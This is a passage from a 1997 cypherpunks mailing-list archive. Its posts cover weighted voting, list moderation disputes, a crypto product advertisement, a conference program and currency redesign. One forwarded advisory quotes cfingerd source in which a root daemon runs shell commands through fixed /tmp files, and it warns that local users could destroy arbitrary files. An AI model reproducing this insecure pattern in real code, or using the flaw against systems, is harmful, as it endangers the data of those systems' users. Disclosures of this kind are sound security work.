the spend rate on voting issues.  If you are actively positive, you
affect change; the stronger you feel about something, the more likely
you are to code it (which every direction the strength of your feeling
goes.

The catch is that positive votes are inherently more valuable than
negative votes, since to obstruct progress requires a number of votes
equal to the outstanding proposals, but to move forward a proposal only
requires a number of votes equal to the proposal.  Blind obstructionism
(and blind advocacy) are uneconomical.  That's the point of having
more than one vote to potentially spend on an issue, with potentially
more issues than you can vote on all of them.  You will have to pick
you battles carefully if you want to avoid being lost in the noise.


> 	- How does one prevent factional deal making?

It won't, really, if there are places for deals to be made, and there
are accurate vote tallys published (promoting last minute bid frenzies,
auction-like behaviour).

> 	- Should weights decline over time in the same manner as
> 	  an infinitely trainable adaptive neural network?

There is a limit on the amount of weight you can throw around in a
given time because of the high water mark on the number of tokens it's
possible to build up on account.  Again, you have to pick your battles
or you will be lost in the noise.

> What about retrospectivity? On the one hand you entrench a
> pre-democratic feudal power structure and end up like Mandela's
> South Africa; a constitutionally reformed non-racially discriminatory
> capitalist society in which the blacks have all the votes, but
> the whites have all the capital. On the other (FreeBSD) hand the
> whites did all the work.

In the abstract, if you are willing to do the work, you are more
likely to throw three votes than one for a given topic.  If you are
just being obstructioninst, you will likely throw only one vote so
that you can keep being obstructionist later.

For reciprocity, it's possible to charge off percentages in the
win/lose case to bias the power concentration: if your side wins, it
costs you one less token then you voted, etc..  Again, initial
bylaws are established through constitution provision: "we have the
power that is being shared, therefore, these are the weights".


> Certainly a very interesting social engineering experiment; there
> is room here for long excursions into probability theory, game
> theory, cryptographic voting protocols (extending to protocols
> not traditionally seen as voting protocols such as Rabin's m/n
> secret sharing scheme), all excellent paper fodder.

Heh.  I was thinking more in terms of its value as a cascade trigger
to increasingly complex social organisms in the Internet implementation
space.  Representational democracies (republics, really) came about
because of rate limits on communication.  The US could not elect a
president by popular vote because there were no methods of verification,
and communication rates were limited by travel time.  Therefore, the
US has an Electoral College.  But a side effect of this structure is
a bias for bipartite seperation of interests, instead of seperation
into as many interest groups as it takes to do the job of mapping the
interest space.  This bias is not removed because the bipartite
interests have (and must continue to have) the power concentration.
This leads to continued "wasted vote syndrome", where people vote
for the lesser of two evils instead of voting their conscience... an
effect of mass psychology.  Similar pressures prevent the polling
times from being changed to opening at 8am EST and closing at 8am EST
to prevent early returns from earlier time zones influencing the
outcome of elections before people in later time zones have even voted.
For example, Ross Perot got almost 20% of the vote in the 1992
election, but 0% of the electors.  He would still have lost, given
the actual values.  There is actually a case in US history where the
winner of the electoral vote lost the popular vote... the president
was not chosen by the people, but by the electors.


> It would definitely attract a lot of welcome attention to FreeBSD.

It would be worth one or more articles in WIRED, actually, as well
as more scholarly sociology journals.  Maybe even "Wall Street Journal"
would run "Multinational Democratic State Declares Independence in
Cyberspace" or a similar silly headline.


> When viewed strictly as an experiment this idea has a lot
> of merit. If it actually pans out, then well and good, if not,
> then it could be used as some kind of Sawick poll.

Yep.  The reason I went weighted, by the way, was the volunteer
nature of the project.  In theory, number of vote tokens spent
should be proportional to willingness to actually volunteer.  As
you point out, there could be feedback here as well: for instance,
if a proposal passes, if it is completed, the tokens spent on
the vote could be refunded to those who voted for it.  If it dies
on the vine, the tokens could be refunded to those who voted
against it.  Being right would give you more license to participate,
and being wrong would not, etc..  Again, a matter for the initial
bylaws.


					Regards,
					Terry Lambert
					terry@lambert.org
---
Any opinions in this posting are my own and not those of my present
or previous employers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@miranova.com>
Date: Thu, 23 Jan 1997 17:11:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: fingerd
In-Reply-To: <199701231426.GAA15678@toad.com>
Message-ID: <m2k9p3hnp9.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain


snow  writes:

>> > Couple of things you can do:
>> >     2.  Install a more secure "fingerd" such that it only
>> >         allows "finger `userid@node.domain`" instead of
>> >         "finger `@node.domain`".

>     cfingerd can be gotten from:

cfingerd is not a safe program.  It must run as root, and has some big
problems.

Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST)
From: Janos Farkas <chexum@shadow.banki.hu>
To: Administrador da Rede <admrede@opensite.com.br>
cc: linux-security@tarsier.cv.nrao.edu
Subject: Re: Finger Doubt
Message-ID: <Pine.LNX.3.95.960918181033.2523A-100000@shadow.banki.hu>


Howdy people!

On Tue, 17 Sep 1996, Administrador da Rede wrote:
> I use the newest version of cfinger, setted to not allow general finger, just
> specific ones. Does anyone knows how this person did that ? I hope I can
> find out, otherwise, bye bye finger service.

Badly.

I have sent the author a letter, but never got any reply back (it's 3
months later now!), so I just take the opportunity to warn the public
against its use.

Excerpts from the source (1.2.3, older versions have been a bit more
directly broken, now it has root privs only at the moments it shouldn't
have.)

	"This daemon must be run as root!"

[And unfortunately, does..]

...
	unlink ("/tmp/fslist");
...
        sprintf(st, "%s | tail +2 >> /tmp/fslist",
            prog_config.finger_program);
        ...
	system(st);

A similarly terrible one some lines later:

	system("cat /tmp/fslist | sort > /tmp/fslist.sort");

As it stands, it can allow any local user to destroy any file on the
system, including partition tables on disks.  Please someone correct me if
I am wrong, I tried this with cfingerd-1.2.2 and it allowed me to do bad
things.

I was a bit disappointed by the lack of any reply from the author, so I
think I am now justified to tell that

if anyone installed cfingerd (about 1.1 or later) on his system, disable
it IMMEDIATELY, until at least the author clarifies this bug in a new
version.  The current version is BAD.

However if you just need a finger daemon, you may take a look at xfingerd,
at
ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz
which is the one I wrote when I got desperate about cfingerd. (If you take
a look at its date stamp, you can see that cfingerd is long broken..)  I
too can't garantee that it's good for you, but it at least doesn't require
to be run as root, which is why I started being against cfingerd.

I hope this note finds everyone concerned.

Janos


-- 
steve@miranova.com baur
Unsolicited commercial e-mail will be billed at $250/message.
Real men aren't afraid to use chains on icy roads.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 23 Jan 1997 16:09:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Noise] From The Onion
In-Reply-To: <199701231634.LAA07092@homeport.org>
Message-ID: <199701240009.SAA02384@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


> SATAN TO REVISE BAR CODE SYSTEM 

[snip]

Not to be outdone, Satan's major competitor, Choronzon, Chief Demonic
Officer and only resident of the accursed 10th Aether of the Enochian
System, today announced his own plans for a system to label his mortal
followers and regulate their business transactions. 

"Stamping numbers on the foreheads and hands of individuals is primitive
technology," Choronzon explained, snapping his barbed tail, and emitting 
a sulphurous plume.  "We are pleased to announce our plans to identify
our followers using digital watermarking technology licensed from RSA
Data Security, Inc."

Implementation of the scheme, which will involve the encoding of a 
subtle full-body pattern into each individual by surface ablation with
high powered eximer lasers, will be managed by Choronzon's Supreme
Legate to the Material World, Jim Bidzos.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Thu, 23 Jan 1997 10:12:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701230212.SAA03079@toad.com>
Message-ID: <Pine.HPP.3.91.970123183921.15141A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 22 Jan 1997, Jim Choate wrote:

>The Web does not equal the Internet, straw man argument.

A semantic comment:

We here all know that this is right but it's obvious that
the language is sliding towards Internet = Web. Most people
using tcp/ip email don't think about this as using the Internet.
Another list I'm on has recently set up a Hypermail site on
the Web, mingling transparently with the list, for those who
are overwhelmed by 100 posts a day (it's a proffessional list
unrelated to computers per se). When people here about it they
say: 'Wow, I didn't know you had access to the list on the
Internet too!' It's treated the same on television, in the US as
well as here in Sweden, Internet = Web and nothing else.

It will be hard for us who have been around for a while, and
to fresh computer litterates who know something of what's behind
the screen, to relearn the use of the term 'Internet'. But we
will eventually have to accept it or become 'dinosaurs', that's
the way language evolution works.

Asgaard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 17:31:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240138.TAA10898@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 23 Jan 1997 18:59:34 +0100 (MET)
> From: Asgaard <asgaard@Cor.sos.sll.se>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> >The Web does not equal the Internet, straw man argument.
> 
> A semantic comment:
> 
> We here all know that this is right but it's obvious that
> the language is sliding towards Internet = Web. Most people

Typical modern American attitude, getting it right is too much work so let's
lower the benchmark so anyone can be 'right'. You'll be supporting Ebonics
next.

Blah.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 17:35:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240142.TAA10917@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 23 Jan 1997 02:58:41 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> > If the people in those counties want to give away their freedom that
> > is their business (and right), not mine, yours, or this countries unless
> > there is evidence they are trying to take their views and impose them here.
> 
>   Right. And if someone 'chooses' to give their money to a thief with
> a gun, then it is not the business of other people, or the police.
>   I would hate to interfere with someones 'right' to get robbed,
> raped, or murdered.

This is a perfect example of why we disagree. You feel society has the same
responsibilities as an individual, I don't.

Countries and societies are a tightly linked concept because man is a social
animal. Trying to equate this to an individual who chooses to ignore the
moral, ethical, and legal standards of their society is a non-sequiter.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 23 Jan 1997 16:52:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: GOO_gol
Message-ID: <1.5.4.32.19970124004734.006dc1a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Richard Crandall, NeXT scientist, writes eloquently on large 
numbers in February SciAm. He cites cryptographic strength as
one result of research on the gargantuan googol and googolplex. 
He reviews current work on sieve techniques for factorization 
-- Quadratic, Number Field, Elliptic Curve Method and others -- 
as well as advanced algorithms. And exclaims:

   Blaine Garst, Doug Mitchell, Avadis Tevanian, Jr., and I
   implemented at NeXT what is one of the strongest -- if
   not the strongest -- encryption schemes available today,
   based on Mersenne primes. This patented scheme, termed
   Fast Elliptic Encryption (FEE), uses the algebra of
   elliptic curves, and it is very fast.

-----

GOO_gol


Thanks to PJP for pointing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 23 Jan 1997 18:36:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: If you were unable to download UDCM V2.0 before....
Message-ID: <970123175027_375471135@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
{UDCM's web site may have been under construction during the time you
visited.}
{UDCM's web site has finished undergoing its changes and will operate
correctly.}
{UDCM V2.0 has been extensively modified from its previous variation.}
{Digital signaturing and public key cryptosystem capabilities have been
added.}
{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
{UDCM's on-line help documentation has also been extensively modified.}
{This advertisement has also been modified.}

Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 150 procedures and functions.
o Is a very cost-effective size of only 60 kilobytes.
o Implements the IMDMP encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes digital signaturing capabilities.
o Implements the public key cryptosystem method of security.
o Includes data importance and sensitivity stamping features.

UDCM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 20:11:06 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: If you were unable to download UDCM V2.0 before....
In-Reply-To: <970123175027_375471135@emout09.mail.aol.com>
Message-ID: <199701240406.WAA07933@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos, 


You promised to release the algorithm of your program as well as
crypto-relevant source code. You promised to do it atfer a month, and
the time has come. We are eagerly awaiting the promised code.

Thank you so much for your openness.

igor

DataETRsch@aol.com wrote:
> 
> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}
> 
> Hello,
> 
> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.
> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.
> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.
> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.
> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.
> 
> Sincerely,
> 
> Jeremy K.Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Thu, 23 Jan 1997 19:12:40 -0800 (PST)
To: reiter@research.att.com
Subject: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701240309.WAA01239@radish.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


	

        *** EARLY REGISTRATION DISCOUNT ENDS JANUARY 31 ***



    Fourth ACM Conference on Computer and Communications Security
               (Preliminary Technical Program)
                     Zurich, Switzerland
                      April 1-4, 1997
                   Sponsored by ACM SIGSAC


For more information, including registration and hotel information,
see: http://www.zurich.ibm.ch/pub/Other/ACMsec/index.html


================
TUESDAY, APRIL 1
================

4 half-day tutorials in two parallel tracks:

		Theory Track			Practice Track

Morning     Cryptography		CERT and Practical Network Security
            Jim Massey, Ueli Maurer	Tom Longstaff
	    (ETH Zurich)		(Software Engineering Institute)

				lunch

Afternoon   Internet Security		Info-Wars
	    Refik Molva			Paul Karger
	    (Eurecom)			(IBM TJ Watson)

==================
WEDNESDAY, APRIL 2
==================

09:00-09:30 Introduction and Opening Comments
			Richard Graveman (Bellcore)
			Phil Janson (IBM Zurich Lab)
			Li Gong (JavaSoft)
			Clifford Neuman (Univ. of Southern California)

09:30-10:30 Invited talk 1: To Be Announced

10:30-11:00 Coffee Break

11:00-12:00 Session 1: Fair Exchange of Information
			Chair: Philippe Janson (IBM Zurich Lab)

* Fair Exchange with a Semi-Trusted Third Party
  Matthew Franklin, Mike Reiter (AT&T Research)

* Optimistic Protocols for Fair Exchange
  N. Asokan, Matthias Schunter, Michael Waidner
	(IBM Zurich Lab and Univ. Dortmund)

12:00-14:00 Lunch

14:00-15:30 Session 2: Language and System Security
			Chair: Michael Waidner (IBM Zurich Lab)

* Static Typing with Dynamic Linking
  Drew Dean (Princeton University)

* Secure Digital Names
  Scott Stornetta, Stuart Haber (Surety Technologies)

* A Calculus for Cryptographic Protocols: The Spi Calculus
  Martin Abadi, Andrew D. Gordon (DEC SRC and Cambridge)

15:30-16:00 Coffee Break

16:00-17:30 Panel 1: Programming Languages as a Basis for Security
			Chair: Drew Dean (Princeton)
			Panelists: To Be Announced

Welcome Cocktail

=================
THURSDAY, APRIL 3
=================

09:00-10:30 Session 3: Authentication
			Chair: Ravi Sandhu (George Mason Univ.)

* Authentication via Keystroke Dynamics
  Fabian Monrose, Avi Rubin (New York Univ. and Bellcore)

* Path Independence for Authentication in Large-Scale Systems
  Mike Reiter, Stuart Stubblebine (AT&T Research)

* Proactive Password Checking with Decision Trees
  Francesco Bergadano, Bruno Crispo, Giancarlo Ruffo
	(Univ. of Turin)

10:30-11:00 Coffee Break

11:00-12:00 Invited talk 2: To Be Announced

12:00-14:00 Lunch

14:00-15:30 Session 4: Signatures and Escrow
			Chair: Martin Abadi (DEC SRC)

* Verifiable Partial Key Escrow
  Mihir Bellare, Shafi Goldwasser (UC San Diego and MIT)

* New Blind Signatures Equivalent to Factorisation
  David Pointcheval, Jacques Stern (ENS/DMI, France)

* Proactive Public-Key and Signature Schemes
  Markus Jakobsson, Stanislaw Jarecki, Amir Herzberg,
	Hugo Krawczyk, Moti Yung (UC San Diego, MIT, IBM Haifa Lab,
	IBM TJ Watson, and Bankers Trust)

15:30-16:00 Coffee Break
 
16:00-17:30 Panel 2: Persistance and Longevity of Digital Signatures
			Chair: Gene Tsudik (USC/ISI)
			Panelists: To Be Announced

Banquet Dinner

===============
FRIDAY, APRIL 4
===============

09:00-10:30 Session 5: Commerce and Commercial Security
			Chair: Jacques Stern (ENS/DMI, France)

* A New On-Line Cash Check Scheme
  Robert H. Deng, Yongfei Han, Albert B. Jeng,
	Teow-Hin Ngair (National University of Singapore)

* Conditional Purchase Orders
  John Kelsey, Bruce Schneier (Counterpane Systems)

* The Specification and Implementation of 'Commercial' Security
	Requirements including Dynamic Segregation of Duties
  Simon Foley (University College, Cork, Ireland)

10:30-11:00 Coffee Break

11:00-12:30 Session 6: Cryptography
			Chair: Mike Reiter (AT&T Research)

* On the Importance of Securing Your Bins:
	The Garbage-Man-in-the-Middle Attack
  Marc Joye, Jean-Jacques Quisquater (Univ. Louvain)

* Improved Security Bounds for Pseudorandom Permutations
  Jacques Patarin (Bull)

* Asymmetric Fingerprinting for Larger Collusions
  Birgit Pfitzmann, Michael Waidner
	(Univ. Hildesheim and IBM Zurich Lab)

12:30 Conference Adjourns





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KALLISTE@delphi.com
Date: Thu, 23 Jan 1997 20:45:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Changing the Currency
Message-ID: <01IEKH3H68GO9AMI9C@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


                                      3
         Changing the Currency

          by J. Orlin Grabbe

     Lemme get this straight.  You left
home  and  went to one of them  foreign
places,  got a handful of their  money,
and it felt like "play money"?  But you
could  still  use it in  a  restaurant,
train  station,  or at  the  newsstand,
right?  Okay.  But  you  say  it  still
somehow  felt "unreal", and  you  never
were  able  to shake off that "monopoly
money" mind set?  Hmmm. Why is that?

      An  American in Paris who gets  a
100-franc  note with Eugene Delacroix's
picture  on it, often finds it  doesn't
kick  ass  like the US one-dollar  bill
with  George Washington's picture.  The
Parisian, on the other hand,  may  feel
that  the  watersnip on the 100-guilder
note  looks downright ridiculous, while
denizens of Amsterdam might prefer  the
bird  image  to  Sir Donald  Sangster's
ugly   face  on  the  Jamaican  hundred
dollar  bill.  The Swiss 50-franc  note
depicting  Konrad  Gessner  (1516-1565)
doesn't say anything about "In  God  We
Trust,"  but  on  the  other  hand   it
doesn't     display    the    obnoxious
"Counterfeiters  will  be   Prosecuted"
found  on  the  Russian 100-ruble  note
(vintage 1993).

      Money is funny.  That's why  more
than  ten  years ago when  the  Federal
Reserve was thinking of changing the US
currency, it formed focus groups in  an
attempt  to  gauge public reaction.  It
had  a  company called Market Facts  go
mall-trolling       for       potential
participants.  They went to the Seaview
Square  Mall in Ocean, New Jersey;  the
Buena   Park  Mall  in  Orange  County,
California;   the  Eastland   Mall   in
Charlotte, North Carolina; and the  Fox
Valley Center in Aurora, Illinois.  The
report  is entitled "Reactions to  U.S.
Currency  Redesign: Analysis  of  Focus
Group  Discussions," and was  submitted
to   the  Board  of  Governors  of  the
Federal Reserve System on September 21,
1983.

     The discussions were recorded, and-
-to  make sure every bit of information
was  properly gleaned--groups were also
observed in a conference room through a
one-way mirror.

      In general the groups stated that
while  they  did  not  care  about  the
appearance  of money, "they argued  not
to  change  it.  There was considerable
concern  that  our  money  would   look
'fake' or 'foreign.'  Participants also
wanted to know why the government would
want  to change the appearance  of  the
currency."

      The groups were divided into  two
categories:    "General   Public"   and
"Heavy Currency Handlers".  Someone who
took  orders at McDonald's  would  fall
into   the   Heavy   Currency   Handler
category.    The  later   groups   were
strongly of the opinion that money  was
"dirty"--not  in  the  Michael  Sindona
sense  of  turning "dirty"  money  into
"clean"   money--but  rather   in   the
"dirty," "shabby," "shoddy," and "worn"
sense.   Some said the US currency  was
the   dirtiest   in  the   world.    By
contrast,  a  person  in  one  of   the
General Public groups noted that  money
has   "the  denomination  on  all  four
corners."

       Some   of   the  Heavy  Currency
Handlers  thought it might  be  a  neat
idea  to have different colors for  the
different  denominations,  to  make  it
easier   to  make  change.   But   more
frequently it was remarked that "people
don't  like  change" or "the government
should leave well-enough alone."

       Today  we  know  that  the  real
rationale  for currency  change  is  to
make   the   currency   detectable   by
currency-detection     equipment     in
airports  (and possibly other places)--
in  order to detect money launderers or
anyone  else carrying large amounts  of
currency.   But  the  publicly-  stated
rationale is the misleading "prevention
of  counterfeiting."  In this light, it
is  interesting that numerous questions
were   directed  at  attitudes   toward
counterfeiting.

      Many  of  the  group participants
thought  counterfeiting was  a  serious
problem,  but "the majority  wanted  to
know  how  much counterfeiting actually
costs   the  public  each  year  before
taking  a  position on whether  or  not
currency should be changed."

     None of the participants admitting
to    any   inclination   to   actually
counterfeit money themselves,  even  if
they could do so without detection, but
about half of them said they would pass
along   counterfeit   bills   if   they
received them.  The other half  thought
that  passing  bogus  bills  would   be
morally  wrong.   But not  all  of  the
latter  would "turn in bogus  bills  to
the  authorities.   A few  participants
recounted  stories  of  persons   being
hounded by the FBI to recall where they
received  the  counterfeit bill--viewed
as a deterrent to reporting counterfeit
bills.  This  group opted,  rather,  to
quietly  destroy the bill and take  the
loss."

       The  report  concludes  that   a
Counterfeiting Threat should be used to
sell  the  idea  of  currency  changes:
"The   extent  of  counterfeiting  and,
thus, the importance of adopting a  new
form   of   currency  must  be   widely
publicized.  Without precise  knowledge
of  the  severity  of the  problem  the
public may assume that the benefits  of
adopting new money do not outweight the
costs."

      The  report  doesn't mention  any
special   information   discovered   by
observations made  through the  one-way
glass.

January 23, 1997
Web Page:  http://www.aci.net/kalliste/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 23 Jan 1997 20:36:40 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231941.LAA24236@toad.com>
Message-ID: <Pine.BSF.3.91.970123222415.29625G-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 23 Jan 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> I have noticed that there has not been any post from Dimitri in a couple of
> days.
> 
> I am assuming that this means that the list moderation has now started?
> 

Actually, rumor has it that he landed a paying job designing ASCII art. ;)

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 20:39:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
Message-ID: <199701240432.WAA08250@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitry Vulius K.O.T.M. wrote:
> Dale Thorn <dthorn@gte.net> writes:
> 
> > Igor Chudov @ home wrote:
> > > Dr.D. Vulius K.O.T.M. wrote:
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > But think about this: suppose there is a couple, bob@household.com,
> > > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > > Mallory forges a lot of emails like "I can still taste your sperm
> > > on my lips", that appear to originate from Cindy@phonesex.org.
> > > Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> > > warning her about naughty email activities of bob. Alice gets mad at him
> > > and divorces him.
> > > How would bob protect himself against such developments?
> >
> > Frame-ups are as old as time.  The ones that work the best are those
> > that are the most believable.  O.J., for example.  Unless Alice is
> > unusually flaky or paranoid, she'll consider her options against the
> > time she has invested in Bob.
> 
> Here's an interesting twist of Sandfort's moderation policy.
> 
> My article was crypto-relevant and flame-free and was tossed to
> cypherpunks-flames.
> 
> Igor's response to my article was also crypto-relevant and flame-free
> and was tossed to cypherpunks-flames.
> 
> Dale's response did not quote me, so it made it to the censored list.

Is it really true that my response was tossed out as flames?

It was crypto-relevant.

BTW, this is a more than perfect illustration why rejections
based on "shitstrings" are completely inappropriate for moderating.

I have nothing again "grey lists", when moderators are alerted when a
message containing certain suspicious word arrives (the way it's done in 
STUMP), but am opposed to autorejections (unless mods are mailbombed).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 20:23:02 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231941.LAA24236@toad.com>
Message-ID: <sqN11D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> I have noticed that there has not been any post from Dimitri in a couple of
> days.
>
> I am assuming that this means that the list moderation has now started?

Yes - anything I say is junked irrespective of content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 20:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701230640.WAA06684@toad.com>
Message-ID: <ZXN11D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
>
> > But think about this: suppose there is a couple, bob@household.com,
> > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > Mallory forges a lot of emails like "I can still taste your sperm
> > on my lips", that appear to originate from Cindy@phonesex.org.
> > Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> > warning her about naughty email activities of bob. Alice gets mad at him
> > and divorces him.
> > How would bob protect himself against such developments?
>
> Frame-ups are as old as time.  The ones that work the best are those
> that are the most believable.  O.J., for example.  Unless Alice is
> unusually flaky or paranoid, she'll consider her options against the
> time she has invested in Bob.

Here's an interesting twist of Sandfort's moderation policy.

My article was crypto-relevant and flame-free and was tossed to
cypherpunks-flames.

Igor's response to my article was also crypto-relevant and flame-free
and was tossed to cypherpunks-flames.

Dale's response did not quote me, so it made it to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
